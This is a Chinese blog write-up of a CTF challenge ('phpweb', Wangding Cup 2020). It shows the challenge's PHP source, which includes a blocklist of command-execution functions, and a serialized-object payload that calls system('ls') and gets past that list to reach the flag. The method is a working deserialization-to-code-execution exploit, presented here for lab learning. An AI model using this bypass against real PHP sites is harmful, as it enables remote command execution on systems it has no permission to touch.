[网鼎杯 2020 朱雀组]phpweb

考点:任意代码执行、反序列化
解题:
挺基础的一道题,就是在构造读目录的时候卡了一会儿,太菜了
打开网站,简单测试未发现源码泄露,然后抓包分析
img
这里有个func字段,猜测应该是代表函数,随手测试一下 f=readfile&p=index.php,得到源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

找了一下,没有发现flag文件,这里过滤的函数也限制了我们直接得到shell,那么需要另外构造能够查看到目录的payload
注意到class Test ,析构函数调用的自定义函数里面存在call_user_func(),参数可控,那么这里就可以用反序列化来执行命令

<?php
class Test {
    var $p = "ls";
    var $func = "system";
}
$test = new test();
echo serialize($test);
?>

本来想尝试构造个马,没有成功......就手动扫目录吧
最后找到/tmp/flagoefiu4r93,读一下就是了

此条目发表在php反序列化分类目录。将固定链接加入收藏夹。

发表评论

电子邮件地址不会被公开。 必填项已用*标注